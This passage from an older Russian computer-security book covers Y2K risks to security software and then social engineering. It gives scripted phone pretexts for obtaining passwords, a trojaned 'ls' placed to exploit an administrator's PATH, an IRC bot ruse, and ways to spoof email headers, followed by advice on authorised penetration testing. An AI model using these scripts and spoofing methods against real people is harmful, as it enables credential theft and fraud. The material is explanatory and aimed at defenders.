Одним из модулей, который присутствует практически в любой системе обеспечения компьютерной безопасности, является модуль контроля и предоставления авторизованного доступа к ресурсам системы. Данный модуль обеспечивает/запрещает доступ в систему в зависимости от даты и времени его осуществления. Например, функциями Account Expires и Logon Hours в Windows NT 4.0 можно разрешить пользователю доступ в систему с (или до) определенной даты или в определенные часы. Соответственно, в том случае, если в данном модуле о проблеме Y2K разработчики «забыли» (отметим, что эти службы приведены просто для примера), то такая забывчивость может привести к невозможности получения авторизованного доступа в систему в лучшем случае только для пользователя с установленным Account Expires, а в худшем – для всех пользователей системы, если сбой при входе в систему одного пользователя повлечет за собой сбой в работе модуля в целом.

4. Проблемы с модулями автоматизированного анализа безопасности и поиска вирусных сигнатур.

Другой разновидностью ПСОИБ являются средства автоматизированного анализа безопасности, основная задача которых состоит в анализе системы на предмет наличия в ней известных уязвимостей (сетевые сканеры безопасности, например SATAN, Internet Security Scanner и т. д.) или вирусов (антивирусов). Эти средства сетевого анализа широко применяются администраторами безопасности крупных корпоративных сетей с постоянно видоизменяемой инфраструктурой, что позволяет им выявлять внесение в ВС новых объектов, содержащих уязвимости или вирусы. Одной из стандартных функций ПСОИБ данного вида является возможность ихзапуска в определенное время. В связи с этим данный тип программного обеспечения (ПО) также становится уязвимым из-за проблемы Y2K, что приведет к невозможности анализа безопасности системы и проникновению в нее кракеров или заражению ее вирусами.

5. Проблемы со встроенными системами на основе License Key (защита от нелегального использования).

Одной из особенностей ПСОИБ является практически повсеместное применение в них систем защиты от нелегального использования, обычно основанных на временных лицензиях. Те средства, которые в качестве «привязки» используют данные о системной дате в компьютере, могут быть подвержены сбоям, связанным с неправильной интерпретацией «нулевой» даты при достижении 2000 года.

Например, лицензия (сертификат) на работу данного программного средства рассчитана на 1 год и дается с 05.05.1999 по 05.05.2000. Следовательно, после наступления 2000 года система защиты от нелегального использования может дать сбой, и ПСОИБ откажутся далее функционировать вплоть до устранения проблемы.

6. Проблемы с операционными системами, в которых функционируют ПСОИБ.

Подавляющее большинство программных средств защиты функционируют под управлением различных операционных систем. Поэтому сбой операционной системы, в которой функционируют ПСОИБ, может косвенно повлиять на функционирование самой системы защиты и привести к ее дальнейшей некорректной работе или полному выходу из строя вплоть до устранения проблемы, связанной с управляющей операционной системой. Например, сбой в сервере ntp (network time protocol), в случае использования данного сервера, может привести к сбою системы защиты в целом.

7. Проблемы с аппаратными средствами защиты.

Общепризнанным является тот факт, что в сфере информационной безопасности используются комплексные решения, включающие в себя не только программные средства обеспечения безопасности, но также и аппаратные средства.

Существующие аппаратные средства защиты, разграничивающие доступ в систему на основе различной идентифицирующей информации (сетчатка глаза, отпечатки пальцев, электронные ключи и т. д.), могут дать аппаратный сбой, связанный с неверной обработкой системной даты при идентификации пользователя. Например, сбой электронного идентификатора «Touch Memory» может сделать невозможной идентификацию/аутентификацию пользователя, и дальнейший вход в контролируемую систему будет запрещен или разрешен в зависимости от реакции системы на данный сбой.

Возможные последствия проблемы Y2K

Оценим на основе вышеизложенного возможные последствия нарушения работоспособности автоматизированных систем обеспечения информационной безопасности в связи с проблемой Y2K. Данная оценка приводитсяс учетом основных функций ПСОИБ, заключающихся в предоставлении авторизованного доступа к ресурсам системы, в шифровании/дешифрировании конфиденциальной информации, в контроле за безопасностью системы, в анализе безопасности системы.

Итак, автоматизированным системам, использующим ПСОИБ, угрожают следующие опасности:

1. Невозможность получения доступа в систему для авторизованных пользователей.

2. Предоставление доступа неавторизованным пользователям.

3. Нарушение работоспособности АС, использующей ПСОИБ.

4. Невозможность в создании/передаче/чтении конфиденциальной информации, зашифрованной ПСОИБ.

5. Невозможность контроля за безопасностью системы оставит незамеченными как предварительный анализ атакующим ресурсов системы, так и возможные успешные попытки получения неавторизованного доступа к ресурсам контролируемой АС.

6. Невозможность выявления имеющихся недостатков в системе обеспечения безопасности, а также вирусов в ПО, что может в дальнейшем повлечь за собой нарушение безопасности системы или заражение ее компьютерными вирусами.

Возможные пути решения обозначенных проблем

1. Самостоятельное тестирование ПСОИБ путем установки новой системной даты.

Это, очевидно, наиболее простой способ самостоятельной проверки, однако использовать его нужно с определенной осторожностью. Дело в том, что выданные сертификаты (лицензии), подтверждающие легальную работу ПСОИБ или личность пользователя, после изменения системной даты и запуска ПСОИБ могут оказаться просроченными и в дальнейшем (даже после восстановления текущей даты) потерять свою силу. Данный факт серьезно затрудняет тестирование систем, однако проблема решается путем хранения эталонных сертификатов на отдельных носителях (если это возможно) и тестирования только макетов АС, а ни в коем случае не реально действующих систем.

2. Обращение к производителям ПСОИБ.

Пользователям, обладающим средствами ПСОИБ, имеет смысл обратиться к фирмам-производителям за получением в связи с проблемой Y2K соответствующих рекомендаций, разъяснений и патчей к программным средствам.

Информационная безопасность России и проблема Y2K

В российских условиях проблема Y2K с точки зрения информационной безопасности, на первый взгляд, выглядит несколько неактуальной в связи с относительно слабым развитием систем телекоммуникаций, особенно по сравнению со странами с более развитой экономической структурой. Но это только на первый взгляд! В наших условиях с точки зрения безопасности на первый план выходят не современные автоматизированные системы, о которых имеется достаточно информации, а всевозможные устаревшие программы, разработанные более десяти лет назад, отвечающие за обеспечение надежной работы систем управления и доступ к объектам стратегического назначения, таким как атомные станции, военные системы управления ракетами и т. д. Об их безопасности в связи с проблемой Y2K в данном случае судить достаточно сложно, но можно предположить, что программы, созданные в прошедших десятилетиях, содержат немало ошибок, связанных с неправильной обработкой системной даты. К каким последствиям это может привести – ответ очевиден. Примером сбоя ПО стратегического назначения служит известная авария французского ракетоносителя Ariane 5, произошедшая 4 июня 1996 года из-за тривиальной ошибки переполнения переменной и принесшая только прямых убытков на 500 миллионов долларов.

Глава 2 Социальная инженерия и ее применение

Все-таки желательно, гражданин артист, чтобы вы незамедлительно разоблачили бы перед зрителями технику ваших фокусов.
М. Булгаков. Мастер и Маргарита

В процессе написания этой части возник вопрос, как можно корректно перевести Social Engineering… В электронном переводчике Socrat мы нашли, что это – «общественное проектирование». Наверное, корректнее сказать «социальное исследование» или «социальная проработка», но оба термина совершенно неблагозвучны. Пожалуй, оставим так – «социальная инженерия» (СИ). Дело в том, что до сих пор этой проблеме в отечественной прессе не уделялось внимания, и потому соответствующего термина не существует.

Итак, что такое социальная инженерия в контексте информационной безопасности? Словарь хакерского жаргона сообщает: «Социальная инженерия – термин, использующийся взломщиками и хакерами для обозначения несанкционированного доступа к информации иначе, чем взлом программного обеспечения; цель – обхитрить людей для получения паролей к системе или иной информации, которая поможет нарушить безопасность системы. Классическое мошенничество включает звонки по телефону в организацию для выявления тех, кто имеет необходимую информацию, и затем звонок администратору, эмулируя служащего с неотложной проблемой доступа к системе».

Да, действительно, самое простое средство проведения СИ – телефон. Все исследование основывается на одной маленькой детали: в крупных компаниях лица, ответственные за систему, не знают всех сотрудников, поэтому появляется возможность манипулировать действиями администраторов. Телефон облегчает эту задачу, так как администратор не видит абонента, который может звонить даже из другого города или страны.

В западной прессе часто мелькают сообщения о том, что кто-то где-то что-то взломал. Немалая часть этих взломов как раз и была проведена с помощью СИ. В идеальных условиях у взломщика должны быть:

• телефон, воспроизводящий шум офиса;

• автоопределитель номера;

• устройство для изменения голоса;

• возможность использовать чужую телефонную линию.

Все эти вещи необходимы для успешного применения теоретических знаний на практике, но в нашей стране получить сразу все не представляется возможным, так что потенциальным взломщикам приходится довольствоваться простыми подручными средствами. Первый инструмент заменяется обыкновенным шумом в комнате или магнитофонной записью. Второй не составит труда отыскать. Третий – самое сложное. Проблема в том, что качественный аппарат способен преобразовывать голос как угодно: в женский, в детский, в старческий… Такие устройства очень редки, поэтому полностью использовать возможности СИ вряд ли получится. Конечно, ничто не помешает постучать ложкой о тарелку и сделать вид, что люди в офисе обедают. Можно позвать тетю Машу, дать ей шоколадку и попросить позвонить… Об использовании чужой линии, наверное, и заикаться не стоит. Единственное, что сразу приходит в голову, – это телефонная трубка с номеронабирателем и ближайший телефон-автомат. Но тогда придется использовать еще и анти-АОН.

Классификация атак класса СИ

Обычно атаки класса СИ представляют собой комбинацию некоторых средств, методов и «параметров окружения». Основные разновидности можно разделить на следующие категории.

По средствам применения:

• телефон;

• электронная почта;

• разговор по Internet в «реальном времени»;

• обыкновенная почта;

• личная встреча.

В первом случае основную сложность представляет голос. Если объект знаком с тем, кем вы представились, то необходимо сделать так, чтобы ваш голос почти не отличался от его голоса. При использовании электронной почты проблема голоса отпадает, зато появляется стиль письма, которого нужно придерживаться от начала и до конца. То же самое утверждение можно отнести к третьему и четвертому пунктам данной классификации. В последнее время быстро развивается новый вид общения – ICQ, некая смесь электронной почты, разговора в реальном времени и организатора межсетевых взаимодействий между пользователями. Эта программа иногда позволяет в большей степени ввести в заблуждение пользователей, но об этом потом. Следующий вид контактов – личностный. Лично можно воздействовать только на тех людей, которые не смогут утверждать, что вы не тот, за кого себя выдаете. В этом случае необходимо иметь приятный голос и уметь нравиться людям. Конечно, при сложных комбинациях может быть использовано не одно средство, а, возможно, даже все, но человек, осуществляющий такую атаку, должен быть не просто хорошим, а отличным психологом.

По уровню социального отношения к объекту:

• официальный;

• товарищеский;

• дружеский.

Разумеется, для того чтобы атака оказалась успешной, нужно выбрать соответствующий стиль общения для каждого случая. При официальном стиле общения недопустимы нотки пренебрежения или дружественности. Необходимо, чтобы все выглядело так, как должно. Если был выбран товарищеский тон, то предполагается, что вы знаете хотя бы имя человека, с которым собираетесь разговаривать. Последний, дружеский уровень дается с большими усилиями. Желательно не просто много знать о человеке, но и представлять, кем вы собираетесь выглядеть. Это самый сложный вид атаки, но после его успешного применения можно добиться самых высоких результатов.

По степени доступа объекта к информационной системе:

• администратор – высокая;

• начальник – средняя;

• пользователь – низкая;

• знакомый администратора, начальника или пользователя – отсутствие доступа.

Здесь предполагается разделение по результату атаки. Соответственно, в первом случае результат наибольший, а в последнем – наименьший. Но это – с точки зрения промежуточного результата (см. табл. 2.1). На практике работа с пользователем и знакомыми оказывается легче, чем с администратором и начальником: больше вероятность, что последние знают того, кем вы собираетесь представиться.

Таблица 2.1. Вероятность успешного проведения атаки в зависимости от навыков выполняющего (низкая-1, средняя-2 высокая-3)

Краткое введение в психологию СИ

«На свете есть только один способ побудить кого-либо что-то сделать. Задумывались ли вы когда-нибудь над этим? Да, только один способ. И он заключается в том, чтобы заставить другого человека захотеть это сделать. Помните – другого способа нет», – писал Дейл Карнеги.

Знаете… а ведь он прав! Конечно, все это и так интуитивно понятно, но если разобраться глубже, то оказывается, что есть способы, позволяющие этого достичь. Один из наиболее видных психологов ХХ века, Зигмунд Фрейд, говорил, что в основе всех наших поступков лежат два мотива – сексуальное влечение и желание стать великим, причем последнее трактуется как «желание быть значительным» или «страстное стремление быть оцененным». В принципе это одно и то же. Дайте человеку понять, что вы его цените и уважаете! Мы не призываем вас при разговоре с администратором сети льстить и сыпать комплиментами, хотя «льстить – значит говорить человеку именно то, что он думает о себе». Конечно, умный человек это заметит, и такое отношение ему может не понравиться. Но если заранее постараться признать для себя достоинства того, с кем вы собираетесь разговаривать, то собеседник почувствует вашу искренность.

Попробуйте произнести такие слова: «Я понимаю, что вы ужасно заняты, но не могли бы вы.» Обычно подобная фраза говорится с юмористическим оттенком или с тоном пренебрежения. Но если вы попробуете представить себе, что человек действительно занят и у него нет никакого желания с вами разговаривать, то ваш тон моментально изменится. Поверьте, такой прием подействует, только если говорить искренне!

Примеры проникновения в систему

Наверняка все в детстве баловались с телефонами. Ну кто не знает таких шуток, как: «Алло, это зоопарк?» – «Нет». – «А почему обезьяна у телефона?». Совершенно безобидный пример издевательства над людьми. А вот еще один подобный пример, но с элементами СИ:

Шутник: Алло! Вас беспокоят с телефонной станции. Измерьте, пожалуйста, длину шнура от трубки к телефону.

Жертва: Метр.

Ш.: Хорошо, для того, чтобы повеситься, хватит.

Следующий звонок.

Ш.: Алло! Это милиция. Вам сейчас хулиганы не звонили?

Ж.: Да, да! Звонили! Разберитесь с ними, пожалуйста!

Ш.: Про трубку и провод спрашивали?

Ж.: Да!

Ш.: И он у вас метр?

Ж.: Да!

Ш.: А почему до сих пор не висим?

Это было лирическое отступление на тему того, как методы СИ используются детьми на бессознательном уровне, в качестве шутки. Рассмотрим простейший пример СИ для проникновения в систему.

Звонок администратору системы.

Взломщик: Здравствуйте, вы администратор?

Администратор: Да.

В.: Я понимаю, что вы ужасно заняты, извините, что отрываю вас от дел, но я не могу войти в сеть.

A.: (Про себя: ЁПРСТ!!! Поработать не дают!) А что компьютер говорит по этому поводу?

B.: Как это – «говорит»???

A.: (Ха!) Ну, что там написано?

B.: Написано «вронг пассворд».

A.: (Ну-ну, еще бы…) А-а-а-а… А вы пароль правильно набираете?

B.: Не знаю, я его не совсем помню.

A.: Какое имя пользователя?

B.: anatoly.

A.: Ладно, ставлю вам пароль… мммм… art25. Запомнили? (Если опять не войдет – убью!)

B.: Постараюсь. Спасибо. (Вот дурак-то!)

Конец разговора. Все!

На самом деле это упрощение ситуации, но в некоторых случаях такое может сработать. Какие ошибки допустил администратор? С его точки зрения – никаких. В подобных случаях редко спрашиваются имя, фамилия, должность звонящего, особенно если звонит девушка с приятным голосом (для этого и используются преобразователи голоса). Администраторы часто сталкиваются с забывчивостью пользователей, особенно если сотрудники редко «входят» в систему. В таких случаях ответственное лицо старается побыстрее положить трубку, и ему хватает того, что пользователь знает свое имя входа в систему. Однако в этом случае взломщик уже знал некоторые сведения о своей цели. Рассмотрим пример с первоначальными нулевыми знаниями.

1. Выберем цель по телефонной книге – организацию, где есть телефон секретаря.

2. Звоним секретарю и узнаем имя персоны, с кем можно проконсультироваться по поводу некоторых проблем с работой системы.

3. Звоним любому другому человеку, чей номер телефона имеется в книге, предполагая, что он имеет доступ к системе.

4. Представляемся (разумеется, вымышленным именем) как помощник той персоны, имя которой мы узнали из первого звонка. Говорим, что в связи с перестановкой системы администратор дал задание поменять пароли всем пользователям.

5. Узнаем имя входа, прежний пароль, говорим новый пароль. Все!

6. В том случае, если доступ к системе происходит посредством телефонных линий, звоним секретарю, говорим, что не получается дозвониться до системы, и просим назвать правильный номер телефона.

В принципе этот пример немногим отличается от предыдущего, но есть большая вероятность получения доступа в систему вследствие оперирования в разговоре конкретными именами и должностями.

После того как взломщик получает доступ к системе в виде простого пользователя, ему не составляет большого труда получить полное право на нее с помощью тех способов, которые описаны в главе 9. Но можно и дальше развить СИ для получения привилегий администратора. Вот пример на UNIX-системе.

Пусть каким-либо образом взломщик узнал, что у администратора в переменную окружения PATH включена «.» (это значит выполнение программ из текущего каталога, многие так делают для удобства работы).

Звонок администратору.

Хакер: Здравствуйте, вы администратор?

Администратор: Да.

Х.: Извините, что отвлекаю. Не могли бы вы мне помочь?

А.: (Ну что еще ему надо?) Да, конечно.

Х.: Я не могу в своем каталоге выполнить команду ls.

А.: (Как будто ему это надо!) В каком каталоге?

Х.: /home/anatoly.

А.: (Вот ведь глупый юзер!) Сейчас посмотрю. (Заходит в этот каталог и набирает команду ls, которая успешно выполняется и показывает наличие нормальных прав на каталог.)

А.: Все у вас должно работать!

Х.: Хммм… Подождите. О! А теперь работает. Странно…

А.: (Рррррр!!!) Да? Хорошо!

Х.: Спасибо огромное. Еще раз извиняюсь, что помешал.

А.: (Ну наконец!) Да не за что. (Отстань, противный!) До свидания.

Конец разговора.

Заметили криминал? Вроде бы ничего особенного. Даже с точки зрения опытного администратора. Что же произошло на самом деле? В каталоге /home/anatoly среди множества других файлов лежал измененный вариант программы ls. Как раз его-то администратор и запустил. Все дело в том, что при выполнении этого файла у запускающего (администратора) имелись все права на систему, и, соответственно, все программы, которые он запускает, могут делать с системой практически все, что угодно. Что было в этом файле, кроме возможности показывать список файлов в каталоге, теперь только взломщику и известно. Разумеется, эти случаи годятся для организации со средним уровнем защиты. В банках или военных учреждениях наверняка так просто ничего не получится. Там могут спросить имя звонящего, его адрес, номер паспорта или предложат оставить номер телефона для последующего уведомления о смене пароля (для этого и нужна возможность использовать чужую линию, чего позволяют добиться офисные мини-АТС, которыми можно оперировать с удаленного терминала или из сети Internet). В таком случае взломщики обычно заранее собирают информацию о потенциальных жертвах. Как это делается? Пожалуйста, еще один пример из телефонных шуток.

Звонок на совершенно незнакомый номер.

Взломщик: Алло, извините, вас беспокоят с телефонной станции. Это номер такой-то?

Жертва: Да.

В.: У нас идет перерегистрация абонентов, не могли бы вы сообщить, на кого у вас зарегистрирован телефон? Имя, фамилию и отчество, пожалуйста.

Ж.: (Говорит информацию.)

В.: Спасибо! Так. секундочку. Хорошо, ничего не изменилось. А место работы?

Ж.: (С некоторым сомнением называет, а если человек очень подозрительный, то спрашивает, зачем.)

В.: Это сведения для новой телефонной книги. По вашему желанию можем внести не одно имя, а всех, кого можно найти по этому телефону.

Ж.: (Тут с радостью называются имена всех членов семьи с их положением в ней, хотя это и не требовалось.)

Информации уже достаточно для попытки взлома. Таким же образом становятся известными номера паспортов и т. д. После такого разговора можно звонить сотрудникам хозяина телефона от имени его родственников и получать дальнейшую информацию.

Еще один пример.

Взломщик: Алло, это приемная?

Жертва: Да.

В.: Это администрация сети. Мы сейчас меняли сетевую систему защиты. Необходимо проверить, все ли у вас нормально работает. Как вы обычно регистрируетесь в системе?

Ж.: Ввожу свои имя и пароль.

В.: Хорошо… Так… (Пауза) Какое имя?

Ж.: anna.

В.: Анна… (Пауза) Так… какой у вас раньше был пароль?

Ж.: ienb48.

В.: Та-а-а-ак… Хорошо. Попробуйте сейчас перерегистрироваться.

Ж.: (Пауза) Все нормально. Работает.

В.: Отлично. Спасибо!

Разумеется, в маленьких организациях, где все знают администратора, это не сработает, зато в больших есть пространство для применения своих способностей.

Вот как использовали СИ такие люди, как Кевин Митник и Роско:

«И Роско, и Кевин гордились своим умением общаться с людьми. На их взгляд, в любом разговоре можно было подчинить себе собеседника, если говорить авторитетным тоном знатока, даже если в этой области ты ничего не смыслишь. Время от времени они названивали в отдел дистанционной связи какой-нибудь компании и недовольным начальственным голосом требовали объяснить, почему тот или иной номер АТС не удается набрать из города. И напуганный оператор объяснял им, как набрать интересующий их номер.

Обычно в таких случаях Кевин предпочитал импровизировать, полагаясь на свою интуицию, а Роско возвел свое умение разговаривать с людьми чуть ли не в ранг искусства. Он вел специальную записную книжку, куда вписывал имена и должности телефонисток и операторов разных фирм и их начальников. Там же он помечал, новички они или опытные работники, насколько хорошо информированы, расположены к разговорам или нет. Заносил он в книжку и сведения, так сказать, личного характера, добытые в течение долгих часов разговоров по телефону: увлечения, имена детей, любимые виды спорта и места, где они любят бывать в отпуске и по выходным» [5].

В некоторых источниках предлагается ходить с видеокамерой, изображая репортера, и почаще наводить ее на клавиатуру пользователей. Здесь сработает предположение, что людям наверняка захочется увидеть себя по телевизору. Можно даже попросить человека сделать вид, что он только что пришел на работу и садится за компьютер. Ну и, разумеется, попросить включить его и начать работу.

Социальная инженерия посредством сети Internet

Беседы через Internet

Для выявления паролей через IRC злоумышленники используют два или более одновременно открытых клиента IRC. Желательно иметь права оператора канала, но необязательно. Один из клиентов представляет собой bot (робот-исполнитель), а другой – это сам злоумышленник (например, BOB). Как происходит СИ:

BOB: Для получения прав оператора просто пошли сообщение роботу канала, но сначала необходимо проидентифицировать свой DNS. Если ты не знаешь, как это сделать, напиши /msg bot identify твой_пароль. Робот должен запомнить имя, DNS и впоследствии аутентифицировать тебя по набранному паролю.

После чего действительному оператору канала желательно сказать, что нет времени, и необходимо убегать. Все это для того, чтобы не появилось подозрения в соучастии.

Как только «пациент» посылает роботу такое сообщение, для создания полной иллюзии необходимо ответить от имени робота что-нибудь вроде такой фразы:

Имя_пациента: Клиент аутентифицирован. Установка прав оператора. Теперь злоумышленник имеет пароль пользователя. Конечно, совсем необязательно, что это пароль применялся еще где-либо, но люди, не искушенные в безопасности, по привычке пишут везде один и тот же пароль.

Электронная почта

Работа с помощью электронной почты почти не отличается от работы с телефоном, но есть некоторые особенности:

• в случаях переписки с незнакомыми людьми письма должны иметь соответствующий вид. Например, подпись в конце письма должна быть стандартной для больших компаний: следует указать имя, фамилию, должность, название организации, адрес и телефон;

• при переписке со «знакомыми» людьми необходимо выдерживать дружеский стиль;

• желательно не посылать письмо напрямую, а использовать поддельный адрес и/или скрывать IP-адрес, откуда пришло письмо.

Введем маленькое отступление для объяснения того, каким образом можно послать письмо с поддельным обратным адресом и что это значит. В любом передаваемом электронном письме существует header (заголовок), содержащий служебную информацию, такую как дата отправки, IP-адрес машины, с которой отправили письмо, название отправляющей программы, обратный адрес отправителя и т. д.

Эту информацию обычно можно просмотреть либо в программе, работающей с вашей почтой, либо в «сыром» виде, с помощью любого текстового редактора.

Вот, что можно увидеть в этом заголовке:

From Nikolay@imagine.msk.ru Wed Jan 9 17:50:40 1999

Received: from mail1.relcom.ru (mail1.relcom.ru [193.125.152.4]) by info.tsu.ru (8.8.5/

8.8.2) with ESMTP id RAA01375 for <eugene@tsu.ru>; Wed, 9 Jan 1999 17:15:22 +0800 (TSD)

Received: from gw.imagine.msk.ru (root@localhost) by mail1.relcom.ru (8.7/8.7/akolb/

960402) with SMTP id HAA07617 for <eugene@tsu.ru>; Fri, 9 Jan 1997 07:13:46 GMT

Received: from nick (nick.imagine.msk.ru [123.123.123.123]) by gw.imagine.msk.ru with

SMTP id FAA06917 for <eugene@tsu.ru>; Fri, 8 Jan 1999 11:18:55 +0300

Message-Id: <s3b3a19f.011@gw.imagine.msk.ru>

X-Mailer: Mozilla 4.01 [en] (Win95; I)

Date: Fri, 8 Jan 1999 11:18:20 +0300

X-UIDL: 867984288.012

From: Nikolay <Nikolay@imagine.msk.ru>

To: eugene@tsu.ru

Subject: For you information

Status: RO

Что здесь может заинтересовать вас или получателя вашего письма?

Прежде всего, это поля «Received:», где содержится информация о маршруте, который прошло письмо. Как правило, последнее поле «Received:» показывает адрес машины, с которой это сообщение было отправлено. В самом простом случае, как здесь, будет написан IP-адрес. Тогда получатель письма точно сможет узнать, пришло ли оно от его знакомого.

Существует несколько способов сделать так, чтобы эти адреса не записывались или чтобы туда записалась ложная информация.

Во-первых, можно использовать широко распространенные в Internet программы, позволяющие заполнить поля From, To и Host – адрес сервера, через который будет отправлена почта. Желательно выбирать сервер, не записывающий, откуда пришло письмо. Идеальный вариант, если этот сервер является еще и почтовым сервером реального отправителя.

Во-вторых, можно просто перенастроить ваш почтовый клиент (Netscape, Outlook Express, The Bat) на другое имя отправителя и другой адрес почтового сервера.

В третьих, можно использовать серверы, переправляющие почту, но стирающие всю информацию о пути прохождения сообщения, – так называемые remailers. Этот способ не очень эффективен, так как соответствующая информация все равно отразится в заголовке.

Мало того, что вы подмените адрес, в некоторых случаях придется поменять и имя программы-отправителя «X-Mailer:». Ну знаю я, что мой друг питает отвращение к Outlook Express, а тут вдруг пользуется им… Может быть, придется изменить даже дату отсылки сообщения! Если отправитель находится в противоположной точке земного шара и разница во времени составляет 12 часов (дата отправки обычно показывается всеми почтовыми программами), то отправление письма в 5 утра может насторожить получателя. Вопрос с датами в любом случае нужно прорабатывать подробнее, так как некоторые серверы ее изменяют, некоторые пишут ее относительно GMT и т. д.

Есть еще один вариант отправки – с помощью программы telnet. 25-й SMTP-порт – стандартный для приемки писем; к почтовому серверу можно подсоединиться на этот порт и самому набрать все поля.

Для получения информации об интерфейсе общения можно набрать команду HELP. Обычно требуется ввод следующих полей:

• «rcpt to:» – кому отсылается письмо;

• «mail from:» – от кого пришло письмо;

• «data» – тело письма.

В тех случаях, когда сервер не записывает IP-адрес отправителя, этот метод тоже может помочь. Не будем останавливаться на деталях процесса, добавим только, что обычно проверкой подлинности письма никто не занимается, да и осуществить такую процедуру сможет далеко не каждый. Поэтому при «работе» с обыкновенными пользователями об этом, как правило, не задумываются, но иногда все же стоит перестраховаться.

Программа-пейджер

Вот, наконец, добрались и до ICQ (I seek you). Как мы уже упоминали, ICQ – это некоторое подобие электронной почты, а значит, с ней можно делать почти все, что и с e-mail. Кроме того, ICQ похожа на IRC, соответственно – те же комментарии. Чем же это средство общения отличается от описанных выше, и как его можно реально использовать в социальной инженерии?

Для тех, кто пока еще не знаком с ICQ, кратко объясним ее суть. В то время, когда вы работаете, она постоянно загружена на вашем компьютере, причем обычно показывается рабочая панель, на которой вы можете увидеть предварительно внесенные имена своих друзей и знакомых. Те из них, у кого в данный момент запущена эта программа, будут показаны вам в самом верху с различными иконками статуса (доступен, недоступен, временно ушел и т. д.). Для общения можно выбрать тип разговора – либо просто послать письмо, либо поговорить в режиме реального времени (больше похоже на программу talk (UNIX), чем на IRC).

Программа разработана не так давно, но уже широко используется, несмотря на множество ее недостатков. В последнее время в Internet стали появляться программы, которые способны тем или иным образом нарушить работу ICQ. Что же можно сделать с их помощью? Послать сообщение от чужого имени, дать возможность постороннему лицу увидеть список друзей, узнать пароль пользователя или просто удаленно вывести программу из строя. Не надо обладать особой проницательностью, чтобы придумать, как применить все это на практике. Да и отличить подделанное сообщение в ICQ значительно труднее, чем в e-mail. Для того чтобы исправить эти недостатки, фирма Mirabilis, разработчик ICQ, время от времени выпускает новые версии.

Все приведенные выше примеры не выдуманы, а взяты из реальной жизни. Они показывают, что наибольшую опасность для организаций представляют люди, а не слабая защита операционных систем. Далее рассмотрим, каким образом можно оградить себя от подобных методов несанкционированного проникновения.

Возможности защиты от социальной инженерии

Тесты на проникновение

Тестирование системы защиты – это метод выявления недостатков безопасности с точки зрения постороннего человека (взломщика). Он позволяет протестировать схему действий, которая раскрывает и предотвращает внутренние и внешние попытки проникновения и сообщает о них. Используя этот метод, можно обнаружить даже те недостатки защиты, которые не были учтены в самом начале, при разработке политики безопасности. Тест должен разрешить два основных вопроса:

• все ли пункты политики безопасности достигают своих целей и используются так, как это было задумано;

• существует ли что-либо, не отраженное в политике безопасности, что может быть использовано для осуществления целей злоумышленника.

Все попытки должны контролироваться обеими сторонами – как взломщиком, так и «клиентом». Это поможет протестировать систему гораздо эффективнее. Необходимо также свести к минимуму количество людей, знающих о проведении эксперимента. При тестировании могут быть затронуты деликатные вопросы частной жизни сотрудников и безопасности организации, поэтому желательно получить предварительное разрешение на проведение такой акции. Ваше непосредственное начальство обязательно должно быть в курсе происходящего.

Профессионалам в области безопасности при проведении теста необходимо иметь такое же положение, как и у потенциального злоумышленника: в их распоряжении должны быть время, терпение и максимальное количество технических средств, которые могут быть использованы взломщиком. Более того, проверяющим следует расценить это как вызов своему профессионализму, а значит, проявить столько же рвения, сколько и взломщик, иначе тесты могут не достичь необходимого результата.

Требования, предъявляемые к человеку, проводящему тесты:

1. Необходимо быть дружелюбным, легко располагающим к себе и вызывать симпатию.

2. Иметь хорошие технические знания.

Вот пример подобного тестирования, описанный И. Винклер (National Computer Security Association). Эксперимент провели с разрешения компании, о его ходе было проинформировано только «высокое» начальство.

«В самом начале атакующие выполнили поиск в Internet для получения представления об организации. Изучение дополнительных баз данных позволило установить имена большого числа сотрудников организации и ее руководства. Поиск в телефонном справочнике дал телефонный номер офиса компании поблизости от атакующих. Звонок в офис позволил получить копию ежегодного отчета компании, а также бесплатный телефонный номер компании. Для получения этой информации не потребовалось ничего объяснять.

Объединив данные ежегодного отчета с данными, полученными из Internet, атакующие получили имена и должности многих лиц из руководства вместе с информацией о проектах, над которыми они работают. Следующим шагом было получение телефонного справочника компании, что позволило установить имена еще ряда сотрудников и получить полное представление об организационной структуре компании.

С бесплатного телефонного номера был сделан звонок по основному номеру компании для контакта со службой рассылки. Звонивший сказал, что он новый сотрудник и хочет узнать, какую информацию требуется указать для пересылки по почте в США и за границу. В результате атакующие узнали, что требуется только два числа – личный номер сотрудника и номер торгового центра. Звонок в отдел графики подтвердил важность этих двух чисел.

Используя телефонный справочник, атакующие стали звонить десяткам служащих в разных отделах для получения личных номеров служащих, которые могли быть использованы для последующих атак. Номера обычно узнавались так: проверяющий выдавал себя за сотрудника отдела кадров, который по ошибке звонил не тому сотруднику и спрашивал номер для того, чтобы понять, что он ошибся.

Затем атакующие определили, что они могут попытаться получить имена новых сотрудников, которые, скорее всего, наименее осведомлены об угрозах компании. Используя информацию первой фазы атаки, были установлены имена нескольких руководителей компании. Телефонный справочник позволил установить имя служащего, который, скорее всего, и является руководителем. На этот момент времени было установлено, что самым лучшим методом получения имен новых служащих будет заявление, что руководитель хочет сам познакомиться с новыми служащими компании. Проверяющие собрались заявить, что выполняют поручение руководителя, а затем, что руководитель был расстроен, так как полученная информация уже устарела.

Удача сопутствовала им, и на звонок в отдел по работе с новыми сотрудниками ответил автосекретарь. Сообщение позволило установить: 1) отдел переехал; 2) имя человека, за которым закреплен телефонный номер; 3) новый телефонный номер. Имя человека было важно, так как знание конкретного имени увеличивает правдоподобность вопросов звонившего. Было уже поздно, и этот человек уже ушел. Это позволило атакующему заметить в разговоре, что отсутствующий человек обычно предоставляет информацию. Атакующий также заявил, что очень большой начальник был сильно расстроен. Его «пожалуйста» побудило человека, отвечавшего по телефону, дать запрошенную информацию. Были получены имена всех сотрудников, начавших работать в течение этой недели, и для многих стали известны отделы, в которых они работают.

Затем было установлено, что атакующим следует избегать контакта с сотрудниками отдела информационных систем, так как те, скорее всего, знают о важности защиты паролей. При звонках новым сотрудникам атакующие выдавали себя за сотрудников отдела информационных систем и проводили с ними по телефону краткий инструктаж по компьютерной безопасности. В ходе этого инструктажа атакующий получал базовую информацию, включая типы используемых компьютерных систем, используемые приложения, номер сотрудника, идентификатор пользователя и пароль. В одном случае атакующий предложил новому сотруднику сменить пароль, так как пароль легко угадать.

